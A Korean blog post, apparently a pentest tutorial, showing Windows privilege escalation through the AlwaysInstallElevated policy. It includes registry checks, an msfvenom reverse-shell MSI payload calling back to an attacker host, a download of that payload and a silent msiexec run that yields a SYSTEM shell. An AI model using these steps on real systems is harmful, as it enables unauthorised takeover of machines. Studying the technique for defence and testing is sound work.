윈도우의 권한 상승에 대한 포스팅.
여러 방법들 중 windows의 policy를 악용해 권한 상승하는 방법.
이번에 악용할 폴리시는 AlwaysInstallElevated라는 폴리시다.
이 폴리시를 유효화 해두면 msi 파일을 설치할 때 항상 관리자 권한으로 실행한다는 특징이 있다.
AlwaysInstallElevated Policy
디폴트 설정은 무효화 되어 있기 때문에 먼저 유효화로 설정이 되어 있는지 확인해봐야 한다.
아래의 코드처럼 reg query로 HKCU와 HKLM의 레지스트리 키를 확인한다.
C:\Users\kuroda\Desktop>reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
C:\Users\kuroda\Desktop>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
0x1이라고 나오면 유효화 되어 있다는 뜻. 즉, 권한 상승에 이용할 수 있다.
리버스쉘을 만든다
이 폴리시는 msi 파일을 설치할 때 작동되기 때문에 msi 파일 형식으로 페이로드를 만들어 줄 필요가 있다.
칼리의 msfvenom을 이용해서 페이로드를 만들어준다.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<로컬IP> LPORT=<포트> -f msi -o shell.msi
shell.msi라는 리버스쉘 페이로드를 만들었다. 타겟 윈도우 시스템에서 실행해야 하기 때문에 윈도우로 파일을 전송한다.
kali에서 웹서버를 세운 후 윈도우에서 powershell로 다운로드했다.
wget http://IP:PORT/shell.msi -outfile C:\Users\kuroda\Desktop\shell.msi
msi 파일 실행
이제 공격 서버에서 포트를 리스닝하고 만들어 둔 msi파일을 실행하면 리버스쉘이 열린다.
다음 명령어로 msi를 실행할 수 있다. 왜인지 powershell에서는 실패해서 cmd로 실행했다.
msiexec /quiet /qn /i shell.msi
그럼 관리자 권한으로 파일이 실행되기 때문에 공격자 서버에 관리자 권한의 쉘이 연결된다.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
윈도우 폴리시의 설정 이슈를 악용하여 권한 상승을 해보았다.
간단하게 할 수 있기 때문에 초기침투 후 폴리시를 확인해보면 좋을 것 같다.